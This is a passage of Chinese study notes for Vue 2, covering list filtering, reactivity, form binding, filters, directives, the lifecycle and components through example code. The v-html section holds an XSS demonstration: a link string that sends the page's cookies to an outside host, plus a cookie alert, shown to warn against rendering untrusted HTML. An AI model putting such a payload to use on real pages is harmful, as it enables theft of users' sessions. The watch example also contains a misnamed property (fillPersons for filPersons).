// 1.用watch实现
const vm = new Vue({
el: "#root",
data() {
return {
keyWord: "",// 记录搜索输入的关键字
persons: [
{ id: "001", name: "马冬梅", age: "20", sex: "女" },
{ id: "002", name: "周冬雨", age: "22", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "温兆伦", age: "19", sex: "男" },
],
filPersons: [], // 存储过滤后的数据
};
},
watch: {
keyWord: {
immediate: true, // 初始化时先进行一次空内容过滤,获取到全部数据
// includes("") 返回 true false
handler(newValue) {
this.fillPersons = this.persons.filter((p) => {
// filter过滤器 p为遍历的对象 filter返回过滤后的数组
return p.name.includes(newValue); // 返回符合条件的新数组
});
},
},
},
});方法2:使用 coputed 计算过滤后的属性,再渲染到页面
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
<ul>
<li v-for="(item,index) of filPersons" :key="item.id">
{{item.name}}-{{item.age}}--{{item.sex}}
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
keyWord: "",// 记录搜索输入的关键字
persons: [
{ id: "001", name: "马冬梅", age: "20", sex: "女" },
{ id: "002", name: "周冬雨", age: "22", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "温兆伦", age: "19", sex: "男" },
],
};
},
computed: {
filPersons() {
// 将过滤后的数据存储到filPersons中再到页面进行渲染
return this.persons.filter((p) => {
// 当参与计算的属性发生改变时会重新执行getter方法
return p.name.includes(this.keyWord); // filter 返回符合条件的新数组
});
},
},
});方法3:直接在 v-for 后面使用 v-show/v-if 进行过滤
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
<ul>
<!-- 3.直接在v-for循环中使用v-show过滤 -->
<li
v-for="(item,index) of persons"
v-show="item.name.includes(keyWord)"
:key="item.id"
>
{{item.name}}-{{item.age}}--{{item.sex}}
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
keyWord: "",// 记录搜索输入的关键字
persons: [
{ id: "001", name: "马冬梅", age: "20", sex: "女" },
{ id: "002", name: "周冬雨", age: "22", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "温兆伦", age: "19", sex: "男" },
],
};
},
});1.13.4 列表排序
使用计算属性,对过滤后的数组进行对应的排序
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
<button @click="sortType=2">年龄升序排列</button>
<button @click="sortType=1">年龄降序排列</button>
<button @click="sortType=0">原顺序</button>
<!-- 点击按钮时,修改sortType属性的值 -->
<ul>
<!-- 遍历计算属性创建列表 -->
<li v-for="(item,index) of filPersons" :key="item.id">
{{item.name}}-{{item.age}}--{{item.sex}}
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
keyWord: "", // 记录搜索输入的关键字
sortType: 0, // 0 原顺序 1 降序 2 升序
persons: [
{ id: "001", name: "马冬梅", age: "20", sex: "女" },
{ id: "002", name: "周冬雨", age: "32", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "温兆伦", age: "19", sex: "男" },
],
};
},
// 计算属性
computed: {
filPersons() { // 依赖计算的任何一个属性发生变化都会重新执行
// 将过滤后的数据存储到filPersons中再到页面进行渲染
const arr = this.persons.filter((p) => {// arr 保存过滤后的数据
// 当参与计算的属性发生改变时会重新执行getter方法
return p.name.includes(this.keyWord); // filter 返回符合条件的新数组
});
// 判断一下是否需要排序
if (this.sortType) {
arr.sort((a, b) => { // 按照年龄进行排序
return this.sortType == 1 ? b.age - a.age : a.age - b.age;
});
}
/* sort() 方法默认升序排列 可以传入一个比较函数作为参数,
比较函数接收两个参数a,b。返回a-b为升序 返回b-a为降序 */
return arr; // 返回结果作为 filPersons的值
},
},
});tips:
sort() 方法默认升序排列 可以传入一个比较函数作为参数,比较函数接收两个参数a,b。返回a-b为升序 返回b-a为降序
jsarr.sort((a, b) => { return a - b; //升序 return b - a; //降序 });
1.13.5 列表更新时的一个问题
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">更新马冬梅信息</button>
<ul>
<!-- 遍历计算属性创建列表 -->
<li v-for="(item,index) of persons" :key="item.id">
{{item.name}}-{{item.age}}--{{item.sex}}
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
persons: [
{ id: "001", name: "马冬梅", age: "20", sex: "女" },
{ id: "002", name: "周冬雨", age: "32", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "温兆伦", age: "19", sex: "男" },
],
};
},
methods: {
updateMei() {
// this.persons[0].name = "马老师"; //奏效
// this.persons[0].age = 50; //奏效
// this.persons[0].sex = "男"; //奏效
// this.persons[0] = { id: "001", name: "马老师", age: "50", sex: "男" }; //不奏效
/* 原因:
Vue未给数组中的每个元素添加getter和setter方法即persons[0]无getter和setter方法,
当修改persons[0]时,Vue无法检测到因此也就无法更新页面 */
/* 解决方法:
1.调用数组的 push pop shift unshift splice sort reverse方法
vm.student.hobbys.push ≠ Array.prototype.push
Vue对push等方法进行了包裹,增加了触发视图更新的功能
2.使用Vue.set方法进行修改指定索引的元素 Vue.set(vm.student.hobbys,1,"打台球")
*/
this.persons.splice(0,1,{ id: "001", name: "马老师", age: "50", sex: "男" })
},
},
});在更新data中某一个数组中的对象时,逐个更新数组元素对象的属性,Vue可以检测到数据的变化并更新页面内容。但直接将数组元素重新进行赋值时,Vue无法检测到数据的更新。
原因:Vue并未给数组中元素添加 getter 和 setter 方法,因此直接通过 arr[]= 的方式修改数组中的数据是不会影响到 data中的数据的 因此页面不会更新。Vue为每个对象中的属性都添加了 getter 和 setter方法。
1.13.6 Vue数据监测总结
Vue会监视 data 中的所有层次的数据
如何监测对象中的数据?
通过 setter 实现监视,且要在new Vue时就要传入要监视的数据。
对象中后追加的属性,Vue默认不做响应式处理(数据改变重新解析模板)
如需给后续添加的属性做响应式,请使用如下 API:
Vue.set(target, propertyName/index, value) 或
vm.$set(target, propertyName/index, value)
如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- 调用原生对应的方法对数组进行更新
- 重新解析模板,进而更新页面
在Vue修改数组中的某个元素一定要用如下方法:
- 使用这些 API:push()、pop()、unshift()、shift()、splice()、sort()、reverse()
- Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性!!!
<div id="root">
<h1>学生信息</h1>
<button @click="age++">年龄+1</button>
<button @click="addSex">添加性别属性,默认值为:男</button>
<button @click="student.sex='女'">修改性别</button>
<button @click="addFriend">在列表首位添加一个朋友</button>
<button @click="updataFirstFriendName">
修改第一个朋友的名字为:张三
</button>
<button @click="addHobby">添加一个爱好</button>
<button @click="changeHobby">修改第一个爱好为:开车</button>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-show="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) of student.hobby" :key="index">{{h}}</li>
</ul>
<h3>朋友:</h3>
<ul>
<li v-for="(f,index) of student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
student: {
name: "tom",
age: "18",
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "jerry", age: 20 },
{ name: "tony", age: 36 },
],
},
};
},
methods: {
addSex() {
// 动态添加属性,并实现被监测
// Vue.set(vm.student, "sex", "男");
vm.$set(this.student, "sex", "男"); // this === vm
},
addFriend() {
// 数组中的每个元素没有getter和setter方法,因此无法被监测到
// 对数组进行操作时需要使用数组方法,才能被检测到进行页面个性,
// 且数组内部的对象属性也能被监测到
this.student.friends.unshift({ name: "xx", age: 20 });
},
updataFirstFriendName() {
// 对数组元素内部的对象可以直接进行修改,对象中的每个属性都有getter和setter方法
this.student.friends[0].name = "张三";
},
addHobby() {
this.student.hobby.push("学习");
},
changeHobby() {
this.student.hobby.splice(0, 1, "开车");
// Vue.set(this.student.hobby, 0, "开车");
// this.$set(this.student.hobby, 0, "开车");
},
removeSmoke() {
// 由Vue所管理的函数最好写为普通函数,不是Vue管理的函数最好写为箭头函数
this.student.hobby = this.student.hobby.filter((h) => {
// filter返回过滤后的数组,不改变原数组
return h !== "抽烟"; // rertuen后跟过滤条件
});
},
},
});tips
数据劫持:将原本data中的数据变为 vm._data 内数据
1.14 收集表单数据
若:<input type="text"/> ,则 v-model 收集的是 value 值,用户输入的就是 value 值
若:<input type="radio">,则 v-model 收集的是 value 值,且要给标签配置 value 值
若:<input tyep="checkbox"/>
- 没有配置 input 的 value属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
- 配置 input 的 value 属性:
- v-model的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
- v-model的初始值是数组,那么收集的就是 value 组成的数组
备注:v-model的三个修饰符:
v-model.lazy:失焦时再收集数据
v-model.number:输入字符串转为有效的数字
v-model.trim:去除收集的数据两端的空格
<div id="root">
<form @submit.prevent="demo"> <!-- 为提交事件绑定方法 -->
<!-- v-model.trim:去除收集的数据两端的空格 -->
<label>账号:<input type="text" v-model.trim="userInfo.account"/></label><br /><br />
<label>密码:<input type="password" v-model="userInfo.password "/></label><br /><br />
<!-- v-model修饰符 v-model.number:收集的数据转化为number类型
type="number":限制输入的内容为数字-->
<label>年龄:<input type="number" v-model.number="userInfo.age "/></label><br /><br />
性别:
<!-- 注意:radio,checkbox和select 使用v-model需要指定value值 -->
<!-- name属性用于分组 -->
<input type="radio" name="sex" value="male" v-model="userInfo.sex"/>男
<input type="radio" name="sex" value="female" v-model="userInfo.sex"/>女<br /><br />
爱好:
<!-- 注意:checkbox使用v-model收集的数据要使用一个数组进行存放数据 -->
<input type="checkbox" v-model="userInfo.hobby" value="chouyan"/>抽烟
<input type="checkbox" v-model="userInfo.hobby" value="hejiu"/>喝酒
<input type="checkbox" v-model="userInfo.hobby" value="tangtou"/>烫头 <br><br>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区:</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select><br><br>
其它信息:
<!-- v-model.lazy:失焦时收再集数据,如果不使用lazy修饰符,会实时收集数据 -->
<textarea rows="5" cols="30" v-model.lazy="userInfo.other"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a><br><br>
<!-- 阻止触发提交的默认行为 -->
<!-- <button @click.prevent>提交</button> -->
<button>提交</button>
</form>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
userInfo:{
account:"",
password:"",
age:"",
sex:"female", // 设置默认值
hobby:["chouyan"],// 数组形式获取到选择的value值
city:"beijing",
other:"",
agree:false, // 字符串/boolean类型获取checked的值
}
};
},
methods: {
demo(){
// console.log(this.$data); // vm._data === vm.$data
// console.log(JSON.stringify(this._data));
console.log(JSON.stringify(this.userInfo)); // 输出为JSON格式的字符串
}
},
})注意:
radio,checkbox 和 select 使用v-model 需要指定 value 值
checkbox使用v-model收集的数据要使用一个数组进行存放数据
raiod 使用时要为每个单选钮添加 name 属性区分不同组的单选钮
1.15 过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)(也可以使用计算属性和methods实现)
语法:
- 注册过滤器:
Vue.filter(name, callback)(全局过滤器)或new Vue{filters : {}}(局部过滤器) - 使用过滤器:
0或v-bind : 属性名 = “xxx | 过滤器名”,将要过滤的数据作为参数传递给过滤器函数 返回值为过滤后的数据
备注:
- 使用过滤器也可以接收额外参数,多个过滤器也可以串联(追加调用)
- 并没有改变原本的数据,是产生新的对应的数据
- 过滤器的功能使用计算属性和定义方法都可以实现
注意:
- 局部过滤器只能在当前组件中使用,全局过滤器可以在任何组件中使用
- 过滤器函数会自动将要过滤的属性作为第一个参数传递,在传递多个参数时也不需要写第一个参数
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 1. 计算属性实现 -->
<h3>现在是{{fmtTime}}</h3>
<!-- 2. methods实现 -->
<h3>现在是{{getFmtTime()}}</h3>
<!-- 插值语法可以使用vm上的所有属性和方法 -->
<!-- 3. 过滤器实现 -->
<h3>现在是{{time | timeFormater}}</h3>
<!-- {{过滤数据 | 过滤器名 }} 将要过滤的数据作为参数传递给过滤器函数 返回值为过滤后的数据 -->
<!-- 过滤器传参,无需传递要过滤的属性它会默认作为第一个参数进行传递 -->
<h3>现在是{{time | timeFormater("YYYY_MM_DD")}}</h3>
<!-- 为过滤器传入参数 -->
<!-- 使用两个过滤器获取年份 -->
<h3>现在是{{time | timeFormater("YYYY_MM_DD") | mySlice}}年</h3>
<!-- 在单向数据绑定时使用过滤器-->
<h3 :x="msg | mySlice">桑硅谷</h3>
</div>
</body>
<script>
// 全局过滤器,可以在任意组件中使用
Vue.filter("mySlice", function (val) {
return val.slice(0, 4);
});
const vm = new Vue({
el: "#root",
data() {
return {
time: Date.now(), // 生成一个时间戳
msg: "你好呀hhh",
};
},
// 1.使用给计算属性 + day.js第三方库格式化时间
computed: {
fmtTime() {
return new dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
},
},
// 2. methods 实现
methods: {
getFmtTime() {
return new dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
},
},
// 3. 过滤器实现
// 局部过滤器
filters: {
timeFormater(val, str = "YYYY-MM-DD HH:mm:ss") {
// 为 str 设置默认参数
// 过滤器的第一个参数永远为 | 前的要过滤的数据
// console.log(val) === this.time
return new dayjs(val).format(str);
},
mySlice(val) {
// 定义一个只截取字符串前四位的过滤器
return val.slice(0, 4);
},
},
});1.16 内置指令
已经学过的指令:
v-bind:单向数据绑定解析表达式,可简写为:xxxv-model:双向数据绑定v-for:遍历数组/对象/字符串v-on:绑定事件监听,可简写为@v-if:条件渲染(动态控制节点是否存在)v-else:条件渲染(动态控制节点是否存在)v-show:条件渲染(动态控制节点是否展示)
1.16.1 v-text 指令
- 作用:向其所在的节点中渲染文本内容
- 与插值语法的区别:
v-text = ”xxx“xxx会替换掉节点中的内容,而不会 - 不支持解析标签
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name">你好</div>
<!-- v-text="xx" 会将标签的内容替换为xx -->
<!-- 不支持解析标签 -->
<div v-text="str"></div> <!-- <h3>你好呀!</h3> -->>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "张老三",
str:"<h3>你好呀!</h3>"
};
},
});1.16.2 v-html 指令
- 作用向指定节点中渲染包含 **html 结构 **的内容
- 与插值语法的区别:
- v-html 会替换掉节点中所有内容,则不会
- v-html 可以识别 html 结构
- 严重注意:
- 网站上动态渲染任意的 HTML 是非常危险的,容易导致 XSS 攻击
- 一定要在可信的内容上使用 v-html ,永远不要在用户提交的内容上使用 v-html!
<div id="root">
<div id="root">
<div>你好,{{name}}</div>
<!-- v-text 不能解析标签 -->
<div v-text="str"></div>
<!-- v-html 可以解析标签 -->
<div v-html="str"></div>
<!-- 存在安全性问题 -->
<div v-html="getCookie"></div>
<div v-html="str1"></div>
</div>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "张老三",
str: "<h3>你好呀!</h3>",
// 获取到当前页面的全部cookie并以查询字符串的形式传递给指定的网站,盗用用户的信息
str1: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我这有好看的快来</a>',
getCookie:
"<a href=javascript:alert(document.cookie)>点我获取当前页面的cookie</a>",
}; // 在a标签中写js代码,会直接执行,所以存在安全性问题
},
});1.16.3 v-cloak 指令
- 本质就是一个特殊的属性,Vue实例创建完毕并接管容器后,会删除 v-cloak 属性
- 使用 css 配合v-cloak 可以解决网速慢时页面展现出 的问题
注意:v-cloak 指令没有值
<style>
/* 属性选择器 */
[v-cloak]{
display: none;
/* 当标签拥有 v-clock指令时,隐藏标签 */
}
</style>
<!-- 引入Vue.js -->
<!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.5/vue.min.js"></script> -->
<!-- 先引入vue.js时若网络较慢,会出现js阻塞,等vue.js加载完毕后再渲染页面 -->
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2 v-cloak>{{name}}</h2>
<!-- v-cloak指令会为标签添加一个v-cloak指令,Vue.js加载完毕后会移除v-cloak指令 -->
<!-- 当先加载DOM后引入Vue.js时,且Vue.js加载缓慢,可以使用v-cloak指令配合CSS实现先隐藏标签,等加载完毕后再显示 -->
</div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.5/vue.min.js"></script>
<!-- 先加载DOM再引入 vue.js 会出现模板无法正常加载,出现错误显示 -->
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "张三",
};
},
});
</script>1.16.4 v-once 指令
- v-once 所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能和显示最初的值
注意:v-once 指令没有值
<div id="root">
<h2 v-once>初始化的n值是{{n}}</h2>
<!-- v-once:所在的节点在初次渲染后,就视为静态内容了,之后不会随着data中数据的变化再重新渲染了 -->
<h2>当前的n值是{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
n: 1,
};
},
});
</script>1.16.5 v-pre 指令
- 跳过其所在节点的编译过程
- 可以利用它跳过:没有使用指令语法,没有使用插值语法的节点,加快编译速度
- 适用于没有使用指令和插值语法的节点
注意:v-pre 指令没有值
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 v-pre>当前的n的值为:{{n}}</h2> <!-- 当前的n的值为:{{n}} -->
<!-- v-pre:跳过其所在节点的编译过程,将没有使用指令和插值语法的节点跳过,加快编译 -->
<h2>当前的n的值为:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
new Vue({
el: "#root",
data() {
return {
n: 1,
};
},
});
</script>1.17 自定义指令
一、定义语法:
局部指令:
jsnew Vue({ directives:{ 指令名:配置对象[{ bind(element,binding){}, inserted(element,binding){}, updata(element,binding){} }] } }) 或 new Vue({ directives:{ 指令名 回调函数[(element,binding){}] } })
局部指令只能在当前Vue实例中使用,不能在其它Vue实例对象中使用
全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
全局指令可以在任意Vue实例中使用
二、配置对象中常用的3个回调:
- bind:指令与元素成功绑定时调用(此时元素尚未添加到页面中)
- inserted:指令所在元素被插入页面时调用
- update:指令所在模板结构被重新解析时调用
三、备注:
- 指令定义时不加 v-,但使用时要加 v-
- 指令名如果是多个单词,要使用 word1-word2 命名方式,且在定义指令时指令名使用字符串写法
自定义指令实例:
- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
- 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
局部自定义指令
html<!-- 准备好一个容器(模板) --> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span></h2> <h2>放大十倍后的n值是:<span v-big="n"></span></h2> <!-- <h2>放大十倍后的n值是:<span v-big-number="n"></span></h2> --> <!-- 当指令名较长时,中间使用"-"连接 --> <button @click="n++">点我n++</button> <hr /> 默认获取焦点的input元素是:<input type="text" v-fbind:value="n" /> </div> <div id="root2"> 默认获取焦点的input元素是:<input type="text" v-fbind:value="n" /> </div> </body> <script> const vm = new Vue({ el: "#root", data: { // data中的数据发生改变会引起模板的重新解析 name: "张三", n: 1, }, directives: { // 自定义指令名不需要加v-前缀 函数接收两个参数 // 1.局部自定义指令 简化写法 big(element, binding) { /*big函数何时会被调用? ①.指令与元素成功绑定时(此时元素还未添加到页面中) ②.指令所在的模板被重新解析时 */ console.log(element, binding); // element:绑定v-big指令元素的真实DOM binging:绑定对象 binding.value:绑定的值 console.log("big", this); // this指向window // 修改绑定的数值 element.innerText = binding.value * 10; }, // 如果对象的key中出现"-"必须将键名写为字符串格式 /* "big-number"(element,binding){ element.innerText = binding.value * 10; } */ // 2.局部自定义指令 完整写法 // 某些对DOM的操作如focus(),需要在元素被插入到页面后才能执行,使用简化写法无法实现 fbind: { // bind() 指令与元素绑定成功但还未添加到页面中时调用 bind(element, binding) { console.log("bind", this); // 注意:this指向window // 指令与元素绑定成功时为元素设置属性 element.setAttribute(binding.arg, binding.value); }, // inserted() 指令所在元素被插入页面时被调用 inserted(element, binding) { // 当元素被插入到页面后获取元素焦点 element.focus(); }, // update() 指令所在的模板被重新解析时调用 update(element, binding) { element.setAttribute(binding.arg, binding.value); }, }, }, }); // 在vm实例对象中创建的自定义指令为局部指令,只能在当前实例对象中使用不能再另一个实例对象中使用 new Vue({ el: "#root2", data: { n: 1, }, }); </script>全局自定义指令
html<div id="root"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span></h2> <h2>放大十倍后的n值是:<span v-big="n"></span></h2> <button @click="n++">点我n++</button> <hr /> 默认获取焦点的input元素是:<input type="text" v-fbind:value="n" /> </div> <div id="root2"> 默认获取焦点的input元素是:<input type="text" v-fbind:value="n" /> </div> </body> <script> // 全局自定义指定 在任意一个Vue实例中都能使用 // 1.完整写法 Vue.directive("fbind", { bind(element, binding) { element.setAttribute(binding.arg, binding.value); }, inserted(element, binding) { element.focus(); }, update(element, binding) { element.setAttribute(binding.arg, binding.value); }, }); // 2.简化写法 Vue.directive('big', function (element, binding) { element.innerText = binding.value * 10; }); const vm = new Vue({ el: "#root", data: { // data数据发生改变会引起模板的重新解析 name: "张三", n: 1, }, // 局部自定义指令 directives: { }, }); new Vue({ // 在每个vue实例中都可以全局自定义指令 el: "#root2", data: { n: 1, }, }); </script>
1.18 生命周期
1.18.1 引出生命周期
生命周期:
- 又名:生命周期回调函数,生命周期函数,生命周期钩子
- 是什么:Vue 在关键的时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的 this 指向是 vm 或 组件实例对象
1.18.2 分析生命周期
生命周期图

常用的生命周期钩子:
- beforecreate:安装全局事件总线
- mounted:发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等[初始化操作]
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅事件等[收尾工作]
关于销毁Vue实例(vm.$destroy())
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后组件的自定义事件会失效,但原生DOM事件依然有效
- 一般不在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
<body>
<!-- 准备好一个容器 -->
<!-- 包括 #root所在的节点和内部的全部内容都作为模板 包含<div id='root'></div>-->
<div id="root" :x="n">
<h2>当前的n值是:{{n}}</h2>
<h2 v-text="n"></h2>
<button @click="add">点我n +1</button>
<button @click="bye">点我销毁 vm</button>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
// 要解析的模板,可以也写在<div id:"root"></div>中
/* template: `
<div>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
`, */
/* 使用template语法解析模板不会将包括#root节点内的全部内容进行替换
不包含<div id='root'></div> */
data() {
return {
n: 1,
};
},
methods: {
add() {
console.log("add");
this.n++;
},
bye() {
console.log("bye");
this.$destroy(); // 销毁 vm
},
},
watch: {
n(val) { // 监视属性n
console.log("n变了");
},
},
// 1.挂载流程
// 此时无法通过 vm 访问data中的数据和methods中的方法
beforeCreate() {
console.log("beforeCreate");
// console.log(this);
// debugger; // 调试断点,让代码运行到此处并停止
},
// 此时可以通过vm访问到data中的数据,methods中配置的方法
created() {
console.log("created");
// console.log(this);
// debugger;
},
// 此时页面呈现的是未经Vue编译的DOM结构,创建了虚拟DOM还未插入真实DOM,
// 所有对DOM的操作 最终 都不生效
beforeMount() {
console.log("beforeMount");
// console.log(this);
// document.querySelector("h2").innerHTML="hello"; 最终不生效
// debugger;
},
// 此时页面呈现的是经过Vue编译的DOM结构,创建了真实DOM,所有对DOM的操作最终生效
mounted() {
console.log("mounted");
// console.log(this);
// document.querySelector("h2").innerHTML="hello"; // 最终会生效
// debugger;
},
// 2.调用了数据更新的方法 执行更新流程
// 此时数据是新的但页面是旧的,在beforeUpdata钩子中数据和页面还尚未同步
beforeUpdate() {
console.log("beforeUpdate");
// console.log(this.n);
// debugger;
},
// 此时数据是新的页面也是新的
updated() {
console.log("updated");
// console.log(this.n);
// debugger;
},
// 3.调用了$destroy 执行销毁流程
// 此时vm中的data,methods,指令都还可用,但对数据的修改不会再触发页面的更新了
beforeDestroy() {
console.log("beforeDestroy");
this.add(); // 方法可用
console.log(this.n); // data中的数据还会进行更新但页面不会进行更新了
debugger;
},
destroyed() {
console.log("destroyed");
debugger;
},
});
// vm.$mount("#root") 设置el的另一种方法
</script>二、Vue组件化编程
2.1 模块与组件、模块化与组件化
2.1.1. 模块
- 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
- 为什么: js 文件很多很复杂
- 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
2.1.2. 组件
- 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)
- 为什么: 一个界面的功能很复杂
- 作用: 复用编码, 简化项目编码, 提高运行效率
2.1.3. 模块化
当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。
2.1.4. 组件化
当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。
2.1.5组件的定义



组件定义:实现应用中局部功能代码和资源的集合。
2.2 非单文件组件
一个文件中包含有n个组件
2.2.1 Vue中使用组件的三大步骤
①. 定义组件(创建组件)
②. 注册组件
③. 使用组件(写组件标签)
1.如何定义一个组件?
使用 Vue.extend(options)创建,其中 optinos 和 new Vue(options) 时传入的那个 options 几乎一样,但区别如下:
①. el 不要写,因为最终所以的组件都要被 vm 管理,由 vm 决定服务于哪个容器
②. data 必须必须写成函数形式,且为普通函数,原因:避免组件复用时,数据存在引用关系。
备注:使用 template 可以配置组件结构(模板)
2.如何注册组件?
①. 局部注册:靠 new Vue的时候传入 components 选项
②. 全局注册:靠 Vue.component("组件名",组件)
3.编写组件标签
<组件名></组件名> 组件名为注册组件时所起的名字
<body>
<div id="root">
<h1>{{msg}}</h1>
<hr />
<!-- 第三步:编写组件标签 -->
<school></school>
<!-- 组件复用 -->
<school></school>
<hr />
<hello></hello>
<student></student>
</div>
<div id="root2">
<!-- 全局组件可以在不同Vue实例中使用 -->
<hello></hello>
</div>
</body>
<script>
// 第一步:创建一个school组件
const school = Vue.extend({
// el: "#root", //组件定义时一定不要写el配置项,因为最终所有的组件都要被 vm 管理,由 vm 决定服务于哪个容器
// 模板
template: `
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
// template必须要有一个根元素,且根元素参与解析渲染
// 数据
data() {
return {
schoolName: "尚硅谷",
address: "北京",
};
},
methods: {
showName() {
console.log(this);
alert(this.schoolName);
},
},
});
// 第一步:创建student组件
const student = Vue.extend({
template: `
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName: "张三",
age: "18",
};
},
});
// 第一步:创建一个hello组件
const hello = Vue.extend({
template: `
<div>
<h2>你好啊 {{name}}</h2>
</div>
`,
data(){
return{
name:"Tom"
}
}
});
// 第二步:全局注册组件
Vue.component("hello",hello)
// 创建vm
new Vue({
el: "#root",
data: {
msg: "hello component",
},
// 第二步:注册组件(局部注册)
components: {
school,
student,
},
});
// 创建vm2
new Vue({
el: "#root2",
});
</script>2.2.2 组件的几个注意点
关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School 常用
多个单词组成的:
第一种写法(kebab-case命名):my-school,需要加引号
第二种写法(CamelCase命名):MySchool(需要Vue脚手架)常用
备注:
①. 组件名尽量可能回避HTML中已有的元素名称,例如 H2,h2
②. 可以使用 name 配置项指定组件在开发者工具中呈现的名字
关于组件标签:
第一种:
<school></school>第二种:
<school/>常用备注:不使用脚手架时,
<school/>会导致后续组件不能渲染一个简写方式:
const school = Vue.extend(options)可以简写为:const school = optionVue会自动调用 Vue.extend()方法
<body>
<div id="root">
<h1>{{msg}}</h1>
<!-- 使用组件 -->
<school></school>
<school2></school2>
<!-- 组件标签的第二种写法 单标签 -->
<school/>
</div>
</body>
<script>
// 定义组件
const s = Vue.extend({
name:"atguigu",
template: `
<div>
<h2>学校名称{{name}}</h2>
<h2>学校地址{{address}}</h2>
</div>
`,
data() {
return {
name: "尚硅谷",
address: "北京",
};
},
});
// 定义组件简化
const s2 = {
// 设置在开发者工具中呈现的组件名
name:"atguigu",
template: `
<div>
<h2>学校名称{{name}}</h2>
<h2>学校地址{{address}}</h2>
</div>
`,
data() {
return {
name: "尚硅谷",
address: "北京",
};
},
}
new Vue({
el: "#root",
data: {
msg: "欢迎学习组件 component",
},
// 注册组件
// 注册组件的名称要与使用组件时的名称相同
components: {
school: s,
school2:s2,
},
});
</script>2.2.3 组件的嵌套
组件嵌套:在一个组件中注册另外一个组件,并在该组件的template中使用
<title>组件的嵌套</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<div id="root">
<!-- <app></app> -->
</div>
</body>
<script>
// 定义 student 组件
const student = Vue.extend({
template: `
<div>
<h2>学生姓名{{name}}</h2>
<h2>学生年龄{{age}}</h2>
</div>
`,
data() {
return {
name: "尚硅谷",
age: 18,
};
},
});
// 定义 school 组件
const school = {
template: `
<div>
<h2>学校名称{{name}}</h2>
<h2>学校地址{{address}}</h2>
